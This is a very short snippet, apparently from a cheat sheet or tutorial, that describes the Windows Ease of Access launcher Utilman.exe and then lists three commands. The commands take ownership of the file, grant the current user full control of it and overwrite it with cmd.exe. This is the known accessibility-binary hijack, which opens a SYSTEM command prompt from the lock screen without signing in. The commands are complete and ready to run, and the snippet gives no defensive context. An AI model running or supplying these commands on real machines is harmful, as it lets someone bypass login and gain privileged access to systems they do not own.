Utilman.exe is the built-in Windows app to provide Ease of Access options from the lock screen. It’s launched by clicking on the Ease of Access button.
# Take ownership of the file (requires admin privileges).
#
takeown /f C:\Windows\System32\Utilman.exe
# Grant the current user permission to modify it.
#
icacls C:\Windows\System32\Utilman.exe /grant $CURRENT_USER:F
# Overwrite with cmd.exe.
#
copy C:\Windows\System32\cmd.exe C:\Windows\System32\Utilman.exe